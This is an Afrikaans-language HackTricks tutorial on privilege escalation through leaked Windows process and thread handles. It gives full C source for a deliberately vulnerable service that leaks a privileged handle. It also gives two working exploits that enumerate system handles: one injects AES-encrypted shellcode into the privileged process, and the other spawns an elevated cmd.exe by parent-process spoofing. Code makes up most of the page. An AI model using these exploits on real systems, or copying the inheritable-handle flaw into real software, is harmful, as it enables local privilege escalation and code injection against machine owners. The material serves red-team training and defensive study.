27 KiB
Uitgelekte Handvatsels Uitbuiting
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Inleiding
Handvatsels in 'n proses maak dit moontlik om verskillende **Windows-hulpbronne te benader:
Daar was reeds verskeie privilege-escalation-gevalle waar 'n bevoorregte proses met oophandvatsels wat oorgeërf kan word, 'n onbevoorregte proses laat loop wat toegang het tot al daardie handvatsels.
Byvoorbeeld, stel jou voor dat 'n proses wat as SISTEEM loop 'n nuwe proses oopmaak (OpenProcess()
) met volle toegang. Dieselfde proses skep ook 'n nuwe proses (CreateProcess()
) met lae voorregte maar wat al die oophandvatsels van die hoofproses erf.
Dan, as jy volle toegang tot die lae-bevoorregte proses het, kan jy die oophandvat na die bevoorregte proses wat geskep is met OpenProcess()
gryp en 'n shellkode inspuit.
Interessante Handvatsels
Proses
Soos jy in die aanvanklike voorbeeld gelees het, as 'n onbevoorregte proses 'n proseshandvat oorneem van 'n bevoorregte proses met genoeg toestemmings, sal dit in staat wees om willekeurige kode daarop uit te voer.
In hierdie uitstekende artikel kan jy sien hoe om enige proseshandvat te benut wat enige van die volgende toestemmings het:
- PROCESS_ALL_ACCESS
- PROCESS_CREATE_PROCESS
- PROCESS_CREATE_THREAD
- PROCESS_DUP_HANDLE
- PROCESS_VM_WRITE
Draad
Soortgelyk aan die proseshandvatsels, as 'n onbevoorregte proses 'n draadhandvat oorneem van 'n bevoorregte proses met genoeg toestemmings, sal dit in staat wees om willekeurige kode daarop uit te voer.
In hierdie uitstekende artikel kan jy ook sien hoe om enige proseshandvat te benut wat enige van die volgende toestemmings het:
- THREAD_ALL_ACCESS
- THREAD_DIRECT_IMPERSONATION
- THREAD_SET_CONTEXT
Lêer-, Sleutel- & Afdelingshandvatsels
As 'n onbevoorregte proses 'n handvat oorneem met skryf-ekwivalente toestemmings oor 'n bevoorregte lêer of register, sal dit in staat wees om die lêer/register te oorheers (en met baie geluk, bevoorregte toegang te verkry).
Afdelingshandvatsels is soortgelyk aan lêerhandvatsels, die algemene naam van hierdie soorte voorwerpe is "Lêerafbeelding". Dit word gebruik om met groot lêers te werk sonder om die hele lêer in die geheue te hou. Dit maak die uitbuiting soortgelyk aan die uitbuiting van 'n Lêerhandvat.
Hoe om handvatsels van prosesse te sien
Process Hacker
Process Hacker is 'n gratis aflaaibare hulpmiddel. Dit het verskeie wonderlike opsies om prosesse te ondersoek en een daarvan is die vermoë om die handvatsels van elke proses te sien.
Let daarop dat om alle handvatsels van al die prosesse te sien, die SeDebugPrivilege nodig is (jy moet dus Process Hacker as administrateur laat loop).
Om die handvatsels van 'n proses te sien, klik regskaf in die proses en kies Handvatsels:
Jy kan dan regskaf op die handvat klik en die toestemmings nagaan:
Sysinternals Handvatsels
Die Handvatsels binêre van Sysinternals sal ook die handvatsels per proses in die konsole lys:
LeakedHandlesFinder
Hierdie hulpmiddel laat jou toe om uitgelekte handvatsels te monitor en selfs outomaties uit te buit om toegang te verkry.
Metodologie
Nou dat jy weet hoe om handvatsels van prosesse te vind, moet jy nagaan of enige onbevoorregte proses toegang het tot bevoorregte handvatsels. In daardie geval kan die gebruiker van die proses die handvat verkry en dit misbruik om toegang te verkry tot bevoorregte toestemmings.
{% hint style="warning" %} Dit is voorheen genoem dat jy die SeDebugPrivilege nodig het om toegang te verkry tot al die handvatsels. Maar 'n gebruiker kan steeds toegang verkry tot die handvatsels van sy prosesse, dus kan dit nuttig wees as jy wil privesk net van daardie gebruiker om die gereedskap met die gebruiker se gewone toestemmings uit te voer**.
handle64.exe /a | findstr /r /i "process thread file key pid:"
{% endhint %}
Kwesbare Voorbeeld
Byvoorbeeld, die volgende kode behoort aan 'n Windows-diens wat kwesbaar sou wees. Die kwesbare kode van hierdie diens binêre lêer is geleë binne die Exploit
funksie. Hierdie funksie begin met die skep van 'n nuwe handvatselproses met volle toegang. Dan, dit skep 'n lae-bevoorregte proses (deur die lae-bevoorregte token van explorer.exe te kopieer) wat C:\users\username\desktop\client.exe uitvoer. Die kwesbaarheid lê daarin dat dit die lae-bevoorregte proses skep met bInheritHandles
as TRUE
.
Daarom is hierdie lae-bevoorregte proses in staat om die handvatsel van die hoë-bevoorregte proses wat eerste geskep is, te gryp en 'n shellkode in te spuit en uit te voer (sien volgende afdeling).
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")
TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;
//Find PID of a proces from its name
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Exploit(void) {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;
// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;
// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}
// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}
void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
SetEvent( stopServiceEvent );
return;
case SERVICE_CONTROL_PAUSE:
break;
case SERVICE_CONTROL_CONTINUE:
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
Exploit();
WaitForSingleObject( stopServiceEvent, -1 );
// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;
// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}
void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};
StartServiceCtrlDispatcher( serviceTable );
}
return 0;
}
Uitbuitingsvoorbeeld 1
{% hint style="info" %} In 'n werklike scenario sal jy waarskynlik nie die binêre lêer kan beheer nie wat deur die kwesbare kode uitgevoer gaan word (C:\users\username\desktop\client.exe in hierdie geval). Jy sal waarskynlik 'n proses kompromitteer en moet kyk of jy toegang het tot enige kwesbare handvatsels van enige bevoorregte proses. {% endhint %}
In hierdie voorbeeld kan jy die kode van 'n moontlike uitbuiting vir C:\users\username\desktop\client.exe vind.
Die mees interessante deel van hierdie kode is geleë in GetVulnProcHandle
. Hierdie funksie sal begin om al die handvatsels te soek, dan sal dit kyk of enige van hulle aan dieselfde PID behoort en as die handvat aan 'n proses behoort. As al hierdie vereistes voltooi is (daar is 'n toeganklike oop proseshandvat gevind), sal dit probeer om 'n shellcode in te spuit en uit te voer deur die handvat van die proses te misbruik.
Die inspuiting van die shellcode word binne die Inject
funksie gedoen en dit sal net die shellcode binne die bevoorregte proses skryf en 'n draad binne dieselfde proses skep om die shellcode uit te voer.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}
int main(int argc, char **argv) {
int pid = 0;
HANDLE hProc = NULL;
// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
```c
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);
printf("My PID: %d\n", GetCurrentProcessId());
getchar();
// Vind 'n uitgelekte handvatsel na 'n proses
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// Ontsleutel die lading
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Stuur geskenk...");
// Injecteer en hardloop die lading in die bevoorregte konteks
Inject(hProc, payload, payload_len);
printf("gedaan.\n");
}
getchar();
return 0;
}
Uitbuitingsvoorbeeld 2
{% hint style="info" %} In 'n werklike scenario sal jy waarskynlik nie die binêre lêer kan beheer nie wat deur die kwesbare kode uitgevoer gaan word (C:\users\gebruikersnaam\desktop\client.exe in hierdie geval). Jy sal waarskynlik 'n proses kompromitteer en moet kyk of jy toegang het tot enige kwesbare handvatsels van enige bevoorregte proses. {% endhint %}
In hierdie voorbeeld, in plaas van die oop handvat te misbruik om 'n shell-kode in te spuit en uit te voer, gaan dit gebruik word die token van die bevoorregte oop handvat proses om 'n nuwe een te skep. Dit word gedoen in lyne vanaf 138 tot 148.
Let op hoe die funksie UpdateProcThreadAttribute
gebruik word met die eienskap PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
en die handvat na die oop bevoorregte proses. Dit beteken dat die geskepte prosesdraad wat _cmd.exe uitvoer_** dieselfde token-bevoorregting sal hê as die oop handvat proses**.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int main(int argc, char **argv) {
HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;
Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}
Sleep(20000);
return 0;
}
Ander gereedskap en voorbeelde
Hierdie gereedskap stel jou in staat om gelekte handvatsels te monitor om kwesbare eenhede te vind en selfs outomaties te misbruik. Dit het ook 'n gereedskap om een te laat lek.
'n Ander gereedskap om 'n handvat te laat lek en dit te misbruik.
Verwysings
- http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/
- https://github.com/lab52io/LeakedHandlesFinder
- https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.